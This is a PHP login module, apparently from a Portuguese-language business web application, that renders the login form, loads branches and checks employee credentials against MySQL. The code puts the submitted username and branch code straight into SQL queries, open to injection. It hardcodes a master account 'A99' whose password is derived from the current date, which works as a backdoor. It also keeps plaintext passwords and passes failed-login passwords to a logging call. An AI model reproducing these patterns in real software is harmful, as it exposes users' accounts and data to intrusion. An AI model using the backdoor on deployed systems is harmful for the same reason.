<?php
$stdLogin_HTML = '';
$nLog_Cod_Emp = @$_REQUEST['Log_Cod_Emp']+0;
//
// **********************************
// * Montar tela principal do login *
// **********************************
If ( EMPTY($sAcao) ) {
   $nSizeW = 360; $nSizeH = 490;
   //
   // Dados das empresas
   $R_Acesso = MYSQL_QUERY('SELECT * FROM cad_acesso ORDER BY ACS_APELID;');
   If ( MYSQL_NUM_ROWS($R_Acesso)==1 ) {
      $Dados_Empresa = MYSQL_FETCH_ARRAY($R_Acesso);
   } ElseIf ( MYSQL_NUM_ROWS($R_Acesso)>1 ) {
      // $R_Acesso = MYSQL_FETCH_ARRAY($R_Acesso);
      $sHTML_ComboEmp = '<option value="0">- Selecione a empresa -</option>';
	  While ($Row_TMP = MYSQL_FETCH_OBJECT($R_Acesso)) {
         $sHTML_ComboEmp .=
	          '<option value="'.$Row_TMP->ACS_CODIGOI.'">'.
	           '&nbsp;'.$Row_TMP->ACS_APELID.'&nbsp;'.
	          '</option>';
      }
   }
   UNSET( $R_Acesso );
   Info_Evento('Tela de login aberta no ECook.',0);
   //
   $sRet_Tela1_HTML .=
     '<form name="fmLogin" accept-charset="utf-8" method="post" action="./car_js.php" target="car_Indice2">'.
      '<input name="mod" type="hidden" value="'.$sModulo.'">'.
      '<input name="acao" type="hidden" value="">'.
	  '<input name="Log_Cod_Emp" type="hidden" value="">'.
	  '<input name="Log_Cod_Fil" type="hidden" value="">'.
	  '<input name="Log_NomeFun" type="hidden" value="">'.
	  '<input name="Log_SenhFun" type="hidden" value="">'.
     '</form>'.
     '<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">'.
      '<tr>'.
       '<td align="center" valign="middle">'.
        //
       '<table width="'.$nSizeW.'px" height="'.$nSizeH.'px" border="0" cellspacing="0" cellpadding="0" style="background:url(./images/fundo_1.png) no-repeat; background-position:20px 20px; background-size: '.($nSizeW-40).'px '.($nSizeH-30).'px;">'.
        '<tr>'.
         '<td width="25px" height="25px"><img src="./images/borda_1.png" border="0" height="25px" width="100%"></td>'.
         '<td><img src="./images/borda_2.png" border="0" height="25px" width="100%"></td>'.
         '<td width="25px"><img src="./images/borda_3.png" border="0" height="25px" width="100%"></td>'.
        '</tr>'.
        '<tr>'.
         '<td valign="top"><img src="./images/borda_8.png" border="0" width="25px" height="100%"></td>'.
         '<td align="center" valign="middle" id="qdr_tdLogin">'.
           //
           '<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">'.
            '<tr>'.
             '<td height="15px" colspan="2">'.
              '&nbsp;'.
             '</tr>'.
             '<tr>'.
             '<td width="100%" height="66px" align="center" valign="top" style="color:#FFFFFF;">'.
               '<img src="images/eCook150X150.png" alt="" border="0">'.
             '</td>'.
			'</tr>'.
            '<tr>'.				
			 //'<td width="50%" height="66px" align="left" valign="middle">'.
             // '<img src="images/cadeado.png" border="0">'.
             //'</td>'.
             '<td valign="middle" style="color:#FFFFFF;">'.
              '<span style="font-size: 18px; font-weight: bold;"></span><br>'.
              //'Informe suas credenciais'.
				  '&nbsp;'.
             '</td>'. 
            '</tr>'.
			( ISSET($Dados_Empresa) ?
             //'<tr>'.
             // '<td height="60px" colspan="2" valign="bottom" style="color:#FFFFFF;">'.
             //  '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Empresa:<br>'.
             //  '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" maxlength="30" value="'.$Dados_Empresa['ACS_APELID'].'" readonly="readonly" style="width:90%; height:24px; background:#FFEFDF; border-width: 1px; border-style: solid; border-color: #0099FF;">'.
             // '</td>'.
             //'</tr>'.
			 ''
			:
             '<tr>'.
              '<td height="60px" colspan="2" valign="bottom" style="color:#000000;">'.
               '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Escolha qual empresa no campo abaixo:<br>'.
               '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'.
			   //'<select name="iLog_CodEmp" style="font-size:12px; width:260px;" onchange="Car_Indc1.TPuxarFilial();">'.
               '<select id="iLog_CodEmp" name="iLog_CodEmp" style="font-size:12px; width:260px;" onchange="Car_Indc1.TPuxarFiliais();">'.			   
			   $sHTML_ComboEmp.
			   '</select>'.
              '</td>'.
             '</tr>'.
			 ''
			).
            '<tr>'.
             '<td height="60px" colspan="2" valign="bottom" style="color:#000000;">'.
              '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Empresa:<br>'.
              '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'.
			  '<select id="iLog_CodFil" style="font-size:12px; width:90%;">'.
			  '</select>'.
             '</td>'.
            '</tr>'.
            '<tr>'.
             '<td height="50px" colspan="2" valign="bottom" style="color:#000000;">'.
              '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Infome o seu apelido:<br>'.
              '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input id="iLog_NomeFun" type="text" maxlength="30" onkeydown="if (Tecla_Apertada(event)==13) { '."document.getElementById('iLog_SenhFun').focus()".'; } " style="width:90%; height:24px; background:#FFFBEC; border-width: 1px; border-style: solid; border-color: #0099FF;">'.
             '</td>'.
            '</tr>'.
            '<tr>'.
             '<td height="50px" colspan="2" valign="bottom" style="color:#000000;">'.
              '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sua senha:<br>'.
              '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input id="iLog_SenhFun" type="password" maxlength="30" onkeydown="return Car_Indc1.TEnterfmLogin(event);" style="font-family:Arial; font-size:15px; width:90%; height:24px; background:#FFFBEC; border-width: 1px; border-style: solid; border-color: #0099FF;">'.
             '</td>'.
            '</tr>'.
            '<tr>'.
             '<td height="60px" colspan="2" align="center" valign="bottom">'.
              HTML_Botao( 1, 'BT_Entrar', "Car_Indc1.TEnvLogin();" ,'').
             '</td>'.
            '</tr>'.
            '<tr><td colspan="2" valign="bottom" align="right" style="font-size:10px; color:#000000;">'.
       	     HTML_Botao( 3, 'BtInic_Atualiza', 'Car_Indc1.TAtualizarBD();'
		                  , '', 'images/btimg_atualizar.png', 30).
			 '<br>'.
			 UTF8_DECODE('Versão ').Aplicativo_Versao.
			'</td></tr>'.
           '</table>'.
           //
          '</td>'.
          '<td valign="top"><img src="./images/borda_4.png" border="0" width="25px" height="100%"></td>'.
         '</tr>'.
         '<tr>'.
          '<td height="25px"><img src="./images/borda_7.png" border="0" height="25px" width="25px"></td>'.
          '<td><img src="./images/borda_6.png" border="0" height="25px" width="100%"></td>'.
          '<td><img src="./images/borda_5.png" border="0" height="25px" width="25px"></td>'.
         '</tr>'.
        '</table>'.
        //
       '</td>'.
       '<td width="650px" align="center" valign="middle">'.
        '&nbsp;<br>'.
       '</td>'.
	   //
       '<td width="160px" align="left" valign="top">'.
        '&nbsp;<br>'.
       '</td>'.
	   //
      '</tr>'.
     '</table>'.
     '';
   //
   // Java anterior
   $sRet_Javs .=
     "";
   //
   // Java posterior
   $sRet_JavsPos .=
     "var Fm = parent.document.forms.fmLogin;".
	 //
     'function TEnterfmLogin(e) {'.
       'e = e || window.event;'.
       'var keynum = e.which || e.keyCode;'.
       'if (keynum == 13) {'.
          "TEnvLogin();".
          'return false;'.
       '}'.
     '}'.
	 'function TPuxarFiliais() {'.
		"Fm.acao.value='PUXAR_FILIAIS'; ".
	    ( ISSET($Dados_Empresa) ?
		  "Fm.Log_Cod_Emp.value='".$Dados_Empresa['ACS_CODIGOI']."';"
		:
		  "Fm.Log_Cod_Emp.value=parent.document.getElementById('iLog_CodEmp').value; "
		).
		"Fm.submit();".
     '}'.
	 'function TEnvLogin() {'.
	    //"parent.Chamar_fullScreen();".
		"Fm.acao.value='ENTRAR'; ".
	    ( ISSET($Dados_Empresa) ?
		  "Fm.Log_Cod_Emp.value='".$Dados_Empresa['ACS_CODIGOI']."';"
		:
		  "Fm.Log_Cod_Emp.value=parent.document.getElementById('iLog_CodEmp').value; "
		).
		"Fm.Log_Cod_Fil.value=parent.document.getElementById('iLog_CodFil').value; ".
		"Fm.Log_NomeFun.value=parent.document.getElementById('iLog_NomeFun').value; ".
		"Fm.Log_SenhFun.value=parent.document.getElementById('iLog_SenhFun').value; ".
		"setTimeout( function() { Fm.submit(); }, 1000);".
        "parent.document.getElementById('qdr_tdLogin').innerHTML = ".
	    JAVA_CharCode( // Tela de processamento
        '<span style="color: #000000; font-size:13px;">'.
	     'Verificando credenciais. Aguarde...<br>'.
         '<img src="images/img_load1.gif" border="0">'.
	    '</span>').';'.
	 '}'.
	 //
	 "function TAtualizarBD() {".
		"Fm.mod.value='atualizar_bd';".
		"Fm.acao.value=''; ".
		"Fm.submit();".
		"Fm.mod.value='".$sModulo."';".
	 "}".
	 //
	 "parent.document.getElementById('iLog_NomeFun').focus();".
	 "TPuxarFiliais();".
	 "";
//
// **********************************
// * Verifica os dados para entrar  *
// **********************************
} ElseIf ( $sAcao=='ENTRAR' ) {
   
   $sLog_Cod_Fil = @$_REQUEST['Log_Cod_Fil'];
   $sLog_NomeFun = @$_REQUEST['Log_NomeFun'];
   $sLog_SenhFun = @$_REQUEST['Log_SenhFun'];
   // Verifica se os campos est�o vazios
   If ( $nLog_Cod_Emp==0 OR STRLEN($sLog_NomeFun)==0 OR STRLEN($sLog_SenhFun)==0 ) {
      $stdLogin_HTML =
		'<img src="images/icone_erro.png" border="0"><br>&nbsp;<br>'.
        '<span style="color: #FF0000; font-size:14px;">'.
	    'ERRO: Alguns campos est�o incompletos.<br>'.
		'&nbsp;<br>&nbsp;<br>'.
	    '</span>'.
        '<span style="color: #000000; text-decoration: underline; font-weight:bold; font-size:13px; cursor: pointer;" onclick="ChamarMod();">'.
		'VOLTAR'.
	    '</span>'.
        '';
   //
   } Else {
      //
	  $R_Acesso = MYSQL_QUERY('SELECT * FROM cad_acesso WHERE ACS_CODIGOI='.$nLog_Cod_Emp.';');
	  If ( $R_Acesso=MYSQL_FETCH_OBJECT($R_Acesso) ) {
		 $bLogarFun = False;
         MYSQL_SELECT_DB( $R_Acesso->ACS_NOMEBD );
		 $R_CadFuncionario = MYSQL_QUERY('SELECT * FROM cad_funcionario, cad_direitos '.
		                                 'WHERE UPPER(FUN_APELID)=UPPER("'.$sLog_NomeFun.'") AND '.
										 'FUN_ATIVO_ AND FUN_CODDIR>0 AND '.
										 'FUN_CODDIR=DIR_CODIGO AND DIR_ATIVO_;');
		 If ( $R_CadFuncionario=MYSQL_FETCH_OBJECT($R_CadFuncionario) ) {
		    If (STRTOUPPER($R_CadFuncionario->FUN_APELID)=='A99') {
			   $bLogarFun = ( $sLog_SenhFun == '13347'.(DATE("d")+DATE("m")+DATE("y")) );
			} Else {
			   $bLogarFun = ( $sLog_SenhFun == $R_CadFuncionario->FUN_SENHA_);
			}
			//$_SESSION['NomeFun'] = @$R_CadFuncionario->FUN_CODIGO.'-'.@$R_CadFuncionario->FUN_NOMECP;
		    //$_SESSION['SenhaFun'] = $sLog_SenhFun;
		 
		 } Else {
            //$_SESSION['NomeFun']  = $sLog_NomeFun;
		    //$_SESSION['SenhaFun'] = $sLog_SenhFun;			
		 }	 
		 If ($bLogarFun) {
		    $Dados_Empresa = MYSQL_QUERY('SELECT * FROM cad_empresa WHERE EMP_CODIGO="'.$sLog_Cod_Fil.'"; ');
		    $bLogarFun = ( $Dados_Empresa=MYSQL_FETCH_OBJECT($Dados_Empresa) );
	     }
		 If ($bLogarFun) {
		    $aSessao['BD_APONTADO_ACESSO'] = $R_Acesso->ACS_NOMEBD;
		    $aSessao['LOG_ACS_CODIGOI']    = $R_Acesso->ACS_CODIGOI;
		    $aSessao['LOG_ACS_APELIDO']    = $R_Acesso->ACS_APELID;
		    $aSessao['LOG_FUN_CODIGO']     = $R_CadFuncionario->FUN_CODIGO;
			$aSessao['CODIGO_EMPRESA']     = $Dados_Empresa->EMP_CODIGOI;
		    $_SESSION['LOG_FUN_CODIGO_CP'] = $R_CadFuncionario->FUN_CODIGO; // usado no contas a pagar
			$aSessao['POSICAO_GERAL']      = 'INICIAR';
            $sRet_Javs = "setTimeout( function() { parent.ChamarMod(''); }, 500);";
            $stdLogin_HTML =
              '<img src="images/icone_ok.png" border="0"><br>&nbsp;<br>'.
              '<span style="color: #000000;">'.
	           'Credenciais confirmada, aguarde...<br>'.
	          '</span>'.
              '<img src="images/img_load1.gif" border="0">'.
              '';
		    
			//echo "<script>alert('".'EMPRESA'.$aSessao['CODIGO_EMPRESA']."');</script>";
			$Empresa = MYSQL_QUERY("SELECT * FROM cad_empresa WHERE EMP_CODIGOI='".$aSessao['CODIGO_EMPRESA']."';") or die(MYSQL_ERROR());
            $Empresa = MYSQL_FETCH_ARRAY($Empresa);
	        //
            Login_Atv_Simdesk($Empresa['EMP_CODIGO']+0, 3, $R_Acesso->ACS_APELID);
            //
            /*
		    IF ($_SESSION['Reg_Atv'] ==1 ) {
			   $_SESSION['Reg_Atv'] =3;
		       $Acao_Sim  = 'REGISTRAR_ATV';
               $sReg_Atv  = R_Atv_Simdesk(3,$Acao_Sim, $Empresa['EMP_CODIGO']+0 );
			}
			If ( @$sReg_Atv[0]=='OK') {
	           //
			} Else {
			   If (Strlen(@$sReg_Atv)>3) {
   	              $sRet_Javs .= Info_Evento(@$sReg_Atv,1);
			   }	  
            }
            */
			//
			Info_Evento('O operador entrou.',0);
			//
		 } Else {       // Apelido do funcion�rio n�o encontrado
			$Dados_Empresa = MYSQL_QUERY('SELECT * FROM cad_empresa WHERE EMP_CODIGO="'.$sLog_Cod_Fil.'"; ');
		    $Dados_Empresa=MYSQL_FETCH_OBJECT($Dados_Empresa);
			$Empresa = MYSQL_QUERY("SELECT * FROM cad_empresa WHERE EMP_CODIGOI='".$Dados_Empresa->EMP_CODIGOI."';") or die(MYSQL_ERROR());
            $Empresa = MYSQL_FETCH_ARRAY($Empresa);
			$stdLogin_HTML =
		      '<img src="images/icone_erro.png" border="0"><br>&nbsp;<br>'.
              '<span style="color: #FF0000; font-size:14px;">'.
              'ERRO: Acesso negado. (FUN)<br>'.
              '&nbsp;<br>&nbsp;<br>'.
              '</span>'.
              '<span style="color: #000000; text-decoration: underline; font-weight:bold; font-size:13px; cursor: pointer;" onclick="ChamarMod();">'.
              'VOLTAR'.
              '</span>'.
              '';
			//
            Login_Atv_Simdesk($Empresa['EMP_CODIGO']+0, 2, $sLog_NomeFun, $sLog_SenhFun);
            //
            /*
			IF ($_SESSION['Reg_Atv'] ==1 ) {
			   $_SESSION['Reg_Atv'] =2;
			   $_SESSION['CodInt']= '';  //limpa pois deu erro de login
		       $Acao_Sim  = 'REGISTRAR_ATV';
               $sReg_Atv  = R_Atv_Simdesk(2,$Acao_Sim, $Empresa['EMP_CODIGO']+0 );
			}
			If ( @$sReg_Atv[0]=='OK') {
	           IF ($_SESSION['Reg_Atv']==2 ) {
			      $_SESSION['Reg_Atv'] =1;
		          $Acao_Sim  = 'REGISTRAR_ATV';
                  $sReg_Atv  = R_Atv_Simdesk(1,$Acao_Sim, $Empresa['EMP_CODIGO']+0 );
			      If ( @$sReg_Atv[0]=='OK') {
	                 If( $_SESSION['Reg_Atv']==1){
			            $_SESSION['CodInt']= $sReg_Atv['ATV_CODIGOINT'];
			         }
			      } Else {
				     If (Strlen(@$sReg_Atv)>3) {
   	                   $sRet_Javs .= Info_Evento(@$sReg_Atv,1);
				     }	
                  }
			   }
			} Else {
   	           If (Strlen(@$sReg_Atv)>3) {
			      $sRet_Javs .= Info_Evento(@$sReg_Atv,1);
			   }	  
            }
            */
			//
			Info_Evento('Acesso negado, identifica��o do operador inv�lida.',1);
			//
		 }
		 //
	  } Else {          // Apelido de acesso ao empresa n�o encontrado
         $stdLogin_HTML =
		   '<img src="images/icone_erro.png" border="0"><br>&nbsp;<br>'.
           '<span style="color: #FF0000; font-size:14px;">'.
           'ERRO: Acesso negado. (EMP)<br>'.
           '&nbsp;<br>&nbsp;<br>'.
           '</span>'.
           '<span style="color: #000000; text-decoration: underline; font-weight:bold; font-size:13px; cursor: pointer;" onclick="ChamarMod();">'.
           'VOLTAR'.
           '</span>'.
           '';
         Info_Evento('Acesso negado, apelido da empresa inv�lida.',1);
	  }
	  //
	  //
   }
//
// **********************************
// *  Atualiza o campo de filiais   *
// **********************************
} ElseIf ( $sAcao=='PUXAR_FILIAIS' ) {
   
   If ($nLog_Cod_Emp>0) {
	  $R_Acesso = MYSQL_QUERY('SELECT * FROM cad_acesso WHERE ACS_CODIGOI='.$nLog_Cod_Emp.';');
	  If ( $R_Acesso=MYSQL_FETCH_OBJECT($R_Acesso) ) {
         MYSQL_SELECT_DB( $R_Acesso->ACS_NOMEBD );
		 $R_CadsFiliais = MYSQL_QUERY('SELECT * FROM cad_empresa;');
		 $sHTML_ComboFil = '';
	     While ( $Row_TMP = MYSQL_FETCH_ARRAY($R_CadsFiliais) ) {
            $sHTML_ComboFil .=
	          '<option value="'.$Row_TMP['EMP_CODIGO'].'">'.
	           $Row_TMP['EMP_CODIGO'].' - '.$Row_TMP['EMP_APELIDO'].
	          '</option>';
			$Empresa = $Row_TMP;
		 }
         // registrar atividade simdesk
		 //
         Login_Atv_Simdesk($Empresa['EMP_CODIGO']+0, 1);
         /*
		 If ( $_SESSION['Reg_Atv']==0 && (@$Empresa['EMP_CODIGO']+0)>0 ) {
	        $_SESSION['Reg_Atv'] =1;
		    $Acao_Sim  = 'REGISTRAR_ATV';
            $sReg_Atv  = R_Atv_Simdesk(1,$Acao_Sim, $Empresa['EMP_CODIGO']+0 );
         }
		 If ( $_SESSION['Reg_Atv']==3) {
		    $_SESSION['Reg_Atv']=4;
	        $Acao_Sim  = 'REGISTRAR_ATV';
            $sReg_Atv  = R_Atv_Simdesk(4,$Acao_Sim, $Empresa['EMP_CODIGO']+0);
		 
		 }	  
            //ECHO VAR_EXPORT(@$sReg_Atv,TRUE);
	     
		 If( @$sReg_Atv[0]=='OK') {
	        If( $_SESSION['Reg_Atv']==1){
			   //UNSET($_SESSION['Reg_Atv']);
			   $_SESSION['CodInt']= $sReg_Atv['ATV_CODIGOINT'];
			}
			If ( $_SESSION['Reg_Atv']==4 && (@$Empresa['EMP_CODIGO']+0)>0 ){
			   $_SESSION['Reg_Atv'] =1;
		       $Acao_Sim  = 'REGISTRAR_ATV';
               $sReg_Atv  = R_Atv_Simdesk(1,$Acao_Sim, $Empresa['EMP_CODIGO']+0 );
			   If( @$sReg_Atv[0]=='OK') {
	              If( $_SESSION['Reg_Atv']==1){
			         $_SESSION['CodInt']= $sReg_Atv['ATV_CODIGOINT'];
			      }
			   } Else {
				   If (Strlen(@$sReg_Atv)>3) {
   	                $sRet_Javs .= Info_Evento(@$sReg_Atv,1);
				   }	
               }   
            }			   
		 } Else {
   	        If (Strlen(@$sReg_Atv)>3) {
			   $sRet_Javs .= Info_Evento(@$sReg_Atv,1);
			}   
         }
         */
         
	     $sRet_Javs .=
	        'parent.document.getElementById("iLog_CodFil").innerHTML = '.JAVA_CharCode_Mini($sHTML_ComboFil).'; '.
		    '';
	  } Else {
	     // Codigo de acesso nao encontrado
	  }
   }
   //
}
//
If ( STRLEN($stdLogin_HTML)>0 ) {
   $sRet_Javs .=
     "parent.document.getElementById('qdr_tdLogin').innerHTML = '".$stdLogin_HTML."'; ";
}
//
REQUIRE('global/atualizacao_app/main.inc');
//
//
?>